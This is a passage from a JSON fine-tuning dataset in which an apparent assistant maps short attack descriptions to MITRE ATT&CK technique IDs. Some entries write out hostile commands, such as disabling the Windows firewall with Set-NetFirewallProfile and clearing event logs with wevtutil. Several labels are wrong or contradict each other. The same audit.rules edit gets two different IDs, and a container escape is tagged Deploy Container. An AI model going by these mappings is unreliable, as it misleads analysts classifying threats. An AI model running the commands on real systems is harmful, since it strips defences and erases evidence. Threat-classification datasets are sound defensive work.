                "content": "After exploiting a privilege escalation flaw, the group modified stored session tokens in a Redis cache to impersonate legitimate users."
            },
            {
                "role": "assistant",
                "content": "T1565.001 - Data Manipulation: Stored Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor increased the maximum CPU credits for cloud compute instances, allowing prolonged malicious activity without detection."
            },
            {
                "role": "assistant",
                "content": "T1578 - Modify Cloud Compute Infrastructure"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors utilized the Azure Logic Apps API to trigger PowerShell scripts that harvested credentials from the environment."
            },
            {
                "role": "assistant",
                "content": "T1059.009 - Command and Scripting Interpreter: Cloud API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries install a proxy tool on an internal machine to intercept and redirect network traffic to their command server."
            },
            {
                "role": "assistant",
                "content": "T1090.001 - Proxy: Internal Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor creates a systemd service that runs a keylogger on user login."
            },
            {
                "role": "assistant",
                "content": "T1543.002 - Create or Modify System Process: Systemd Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses the net user command to add a new local user with admin rights for persistence."
            },
            {
                "role": "assistant",
                "content": "T1136.001 - Create Account: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor injects malicious code into a legitimate process and stores the payload in memory using PowerShell's \"Invoke-Expression\" with a base64‑encoded script, leaving no on‑disk artifacts."
            },
            {
                "role": "assistant",
                "content": "T1027.011 - Obfuscated Files or Information: Fileless Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A ransomware campaign first builds a botnet of vulnerable devices to later spread the ransomware."
            },
            {
                "role": "assistant",
                "content": "T1584.005 - Compromise Infrastructure: Botnet"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors exploit publicly exposed DNS passive data repositories to locate dormant subdomains and IP associations."
            },
            {
                "role": "assistant",
                "content": "T1596.001 - Search Open Technical Databases: DNS/Passive DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set issues a PowerShell command to list all installed services via Get-Service."
            },
            {
                "role": "assistant",
                "content": "T1007 - System Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code registers itself as a time provider, causing the payload to run whenever the Windows Time service synchronizes."
            },
            {
                "role": "assistant",
                "content": "T1547.003 - Boot or Logon Autostart Execution: Time Providers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker executes a PowerShell script that runs the \"net user\" command to create a new domain account with elevated privileges."
            },
            {
                "role": "assistant",
                "content": "T1136.002 - Create Account: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team operator creates a new domain admin account to elevate privileges across the network."
            },
            {
                "role": "assistant",
                "content": "T1136 - Create Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary modifies the .htaccess file to redirect requests to a concealed web shell script, enabling covert control."
            },
            {
                "role": "assistant",
                "content": "T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Exploiting unsecured SNMP services, the malicious actor reflects amplified packets toward the intended victim to disrupt services."
            },
            {
                "role": "assistant",
                "content": "T1498.002 - Network Denial of Service: Reflection Amplification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary conducts a wordlist scan of known CMS paths to find vulnerable modules on the website."
            },
            {
                "role": "assistant",
                "content": "T1595.003 - Active Scanning: Wordlist Scanning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors abused the FTP service on the compromised host to upload a keylogger binary for later execution."
            },
            {
                "role": "assistant",
                "content": "T1608.002 - Stage Capabilities: Upload Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious PowerShell script runs \"Set-NetFirewallProfile -Enabled False\" to turn off the system firewall."
            },
            {
                "role": "assistant",
                "content": "T1562.004 - Impair Defenses: Disable or Modify System Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker extracts the KRBTGT hash via credential dumping and crafts a golden ticket, allowing them to authenticate as any user, including domain admins."
            },
            {
                "role": "assistant",
                "content": "T1558.001 - Steal or Forge Kerberos Tickets: Golden Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group deposits a trojan named 'netstat.exe' in C:\\Windows\\System32\\..\\, relying on an unquoted service path to cause the system to run the trojan instead of the legitimate netstat utility."
            },
            {
                "role": "assistant",
                "content": "T1574.009 - Hijack Execution Flow: Path Interception by Unquoted Path"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion used a PowerShell module to locate and copy the local Exchange cache database for email collection."
            },
            {
                "role": "assistant",
                "content": "T1114.001 - Email Collection: Local Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a publicly disclosed CVE in a popular PDF reader, the attacker delivered a malicious payload that executed code on the victim's machine to obtain new tooling."
            },
            {
                "role": "assistant",
                "content": "T1588.005 - Obtain Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use container breakouts by deploying a privileged container that escapes isolation to compromise the host OS."
            },
            {
                "role": "assistant",
                "content": "T1610 - Deploy Container"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The C2 server responds with JavaScript code embedded in HTML pages that the malware evaluates for instructions."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through credential dumping, the adversary retrieves the employee list that includes full names from the directory service."
            },
            {
                "role": "assistant",
                "content": "T1589.003 - Gather Victim Identity Information: Employee Names"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By manipulating the ParentProcessId field of a token, the malware spoofs the original parent process to gain elevated privileges."
            },
            {
                "role": "assistant",
                "content": "T1134.004 - Access Token Manipulation: Parent PID Spoofing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary sets up a domain that resolves to a large pool of compromised machines, rotating addresses every few minutes to maintain resilience."
            },
            {
                "role": "assistant",
                "content": "T1568.001 - Dynamic Resolution: Fast Flux DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor gains privileged access to the corporate SharePoint site and overwrites the landing page with malicious graphics and text."
            },
            {
                "role": "assistant",
                "content": "T1491.001 - Defacement: Internal Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The exploit includes a payload that calls the Linux 'blkdiscard' command to discard all blocks on the target block device, effectively erasing it."
            },
            {
                "role": "assistant",
                "content": "T1561 - Disk Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Intruder authenticated via the default 'admin' account on a network device after a firmware update."
            },
            {
                "role": "assistant",
                "content": "T1078.001 - Valid Accounts: Default Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary compromises a chip design firm's CAD files, inserting a hardware-level vulnerability that is later exploited in deployed devices."
            },
            {
                "role": "assistant",
                "content": "T1195.003 - Supply Chain Compromise: Compromise Hardware Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion includes an automated tool that uses the LDAP Add operation to add a new entry for a domain account."
            },
            {
                "role": "assistant",
                "content": "T1136.002 - Create Account: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary inserted a new rule that whitelisted their command‑and‑control IP range, effectively circumventing the cloud firewall."
            },
            {
                "role": "assistant",
                "content": "T1562.007 - Impair Defenses: Disable or Modify Cloud Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary exploits the discrepancy between the SNI extension and the HTTP Host header to perform domain fronted connections to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1090.004 - Proxy: Domain Fronting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker runs net group /domain to harvest permission groups from the domain."
            },
            {
                "role": "assistant",
                "content": "T1069 - Permission Groups Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion used the Windows admin shares (ADMIN$, C$, D$) to distribute a credential dumping tool across multiple servers."
            },
            {
                "role": "assistant",
                "content": "T1021.002 - Remote Services: SMB/Windows Admin Shares"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a custom tool, the adversary triggers an OS-level denial‑of‑service by overwhelming the scheduler with thread creation."
            },
            {
                "role": "assistant",
                "content": "T1499.001 - Endpoint Denial of Service: OS Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary modifies the system's audit settings to stop logging of command line activity."
            },
            {
                "role": "assistant",
                "content": "T1562.003 - Impair Defenses: Impair Command History Logging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor exploits a vulnerability to force the use of a deprecated 40-bit encryption algorithm for VPN traffic."
            },
            {
                "role": "assistant",
                "content": "T1600.001 - Weaken Encryption: Reduce Key Space"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor queries the Azure AD PowerShell cmdlet \"Get-AzureADUser\" to list all cloud directory users."
            },
            {
                "role": "assistant",
                "content": "T1087.004 - Account Discovery: Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group sets up a VPS as a relay point to bypass corporate firewalls and exfiltrate data."
            },
            {
                "role": "assistant",
                "content": "T1583.003 - Acquire Infrastructure: Virtual Private Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After gaining admin rights, the attacker installed a persistent transport agent to monitor and relay all internal email messages."
            },
            {
                "role": "assistant",
                "content": "T1505.002 - Server Software Component: Transport Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actor deploys Kubernetes clusters in a GCP region that is not listed in the company's cloud policy, evading security controls."
            },
            {
                "role": "assistant",
                "content": "T1535 - Unused/Unsupported Cloud Regions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script disables anti‑virus services on endpoints before launching destructive payloads."
            },
            {
                "role": "assistant",
                "content": "T1489 - Service Stop"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses a malicious script injected into a trusted web page to capture session cookies from victims' browsers and then replays them to hijack active sessions."
            },
            {
                "role": "assistant",
                "content": "T1185 - Browser Session Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion uses a crafted AppleScript to read the user's keychain passwords and exfiltrate them over HTTP."
            },
            {
                "role": "assistant",
                "content": "T1059.002 - Command and Scripting Interpreter: AppleScript"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker tampers with a public blog's template files to add a hidden backdoor that captures admin credentials."
            },
            {
                "role": "assistant",
                "content": "T1659 - Content Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised third‑party VPN endpoint is used as an external proxy to route internal traffic to malicious destinations."
            },
            {
                "role": "assistant",
                "content": "T1090.002 - Proxy: External Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a compromised LinkedIn account to send personalized direct messages containing malicious URLs to targeted employees, hoping they will click and download malware."
            },
            {
                "role": "assistant",
                "content": "T1566.003 - Phishing: Spearphishing via Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The technique involves abusing PubPrn to load a counterfeit printer driver, which executes a Python script as part of the driver's initialization routine."
            },
            {
                "role": "assistant",
                "content": "T1216.001 - System Script Proxy Execution: PubPrn"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The exploit waits for a precise order of TCP SYN packets to ports 1000, 1001, and 1002 before spawning a backdoor listener."
            },
            {
                "role": "assistant",
                "content": "T1205.001 - Traffic Signaling: Port Knocking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Operator runs \"wevtutil.exe /c\" to clear all Windows Event Logs in one step."
            },
            {
                "role": "assistant",
                "content": "T1070.001 - Indicator Removal: Clear Windows Event Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By exploiting a firmware update flaw, the attacker installed a malicious bootloader in the system BIOS for long‑term persistence."
            },
            {
                "role": "assistant",
                "content": "T1542.001 - Pre-OS Boot: System Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign leverages fast-flux networks to hide the final command-and-control server behind rapidly rotating IPs."
            },
            {
                "role": "assistant",
                "content": "T1568.001 - Dynamic Resolution: Fast Flux DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors generate bogus DLLs with no functionality and load them alongside malicious modules to confuse analysts."
            },
            {
                "role": "assistant",
                "content": "T1001.001 - Data Obfuscation: Junk Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team disables command auditing by editing /etc/audit/audit.rules."
            },
            {
                "role": "assistant",
                "content": "T1562.003 - Impair Defenses: Impair Command History Logging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor modifies the /etc/audit/audit.rules file to ignore specific system calls and evade detection."
            },
            {
                "role": "assistant",
                "content": "T1562.012 - Impair Defenses: Disable or Modify Linux Audit System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Group registers multiple domains that resemble legitimate sites for phishing campaigns."
            },
            {
                "role": "assistant",
                "content": "T1583.001 - Acquire Infrastructure: Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious script converts payloads to Base64 to bypass data loss prevention filters."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor modifies the HTTPS server settings to only support SSL 3.0, enabling downgrade attacks and weakening the encrypted channel."
            },
            {
                "role": "assistant",
                "content": "T1600 - Weaken Encryption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker sends a high volume of malformed SMTP commands to an email processing service, causing it to consume excessive memory while parsing."
            },
            {
                "role": "assistant",
                "content": "T1499.003 - Endpoint Denial of Service: Application Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a phishing page that mirrors the login flow and initiates a real MFA verification request to the user's device."
            },
            {
                "role": "assistant",
                "content": "T1621 - Multi-Factor Authentication Request Generation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An actor exploits the 'regsvr32.exe' utility to execute a malicious scriptlet hidden in a .sct file."
            },
            {
                "role": "assistant",
                "content": "T1218.010 - System Binary Proxy Execution: Regsvr32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor creates a rogue domain controller that captures authentication requests and issues custom authentication tokens."
            },
            {
                "role": "assistant",
                "content": "T1556.001 - Modify Authentication Process: Domain Controller Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor uses Google dorking to find exposed configuration files on the company's web server."
            },
            {
                "role": "assistant",
                "content": "T1593 - Search Open Websites/Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor scraped the company’s press releases to compile a list of executive names and titles."
            },
            {
                "role": "assistant",
                "content": "T1589.003 - Gather Victim Identity Information: Employee Names"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing email contains a link to a counterfeit Office 365 portal; clicking the link runs a malicious PowerShell script on the victim's machine."
            },
            {
                "role": "assistant",
                "content": "T1204.001 - User Execution: Malicious Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries exploit a misconfigured web hosting platform to deploy a malicious JavaScript loader for drive‑by attacks."
            },
            {
                "role": "assistant",
                "content": "T1583.006 - Acquire Infrastructure: Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor exploits the Accessibility \"SetWindowsHookEx\" API to inject malicious code each time a user activates the onscreen keyboard."
            },
            {
                "role": "assistant",
                "content": "T1546.008 - Event Triggered Execution: Accessibility Features"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors abuse the Active Directory Users and Computers console to manually create a domain account for lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1136.002 - Create Account: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using XPC services, the attacker performs lateral movement across processes, chaining lower‑privilege code into higher‑privilege contexts."
            },
            {
                "role": "assistant",
                "content": "T1559.003 - Inter-Process Communication: XPC Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware drops a malicious X.509 certificate into the Windows certificate store to enable trusted execution of its payloads."
            },
            {
                "role": "assistant",
                "content": "T1608.003 - Stage Capabilities: Install Digital Certificate"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker queries restricted forums and underground chat rooms to find details about the target's security tools."
            },
            {
                "role": "assistant",
                "content": "T1597 - Search Closed Sources"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion swaps the legitimate network provider component with a tampered DLL to intercept and modify authentication packets."
            },
            {
                "role": "assistant",
                "content": "T1556.008 - Modify Authentication Process: Network Provider DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Intruder uses Google dorking to find exposed .env files on public code repositories."
            },
            {
                "role": "assistant",
                "content": "T1593.003 - Search Open Websites/Domains: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors performed SMB lateral movement by mounting the IPC$ share and executing commands remotely."
            },
            {
                "role": "assistant",
                "content": "T1021.002 - Remote Services: SMB/Windows Admin Shares"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
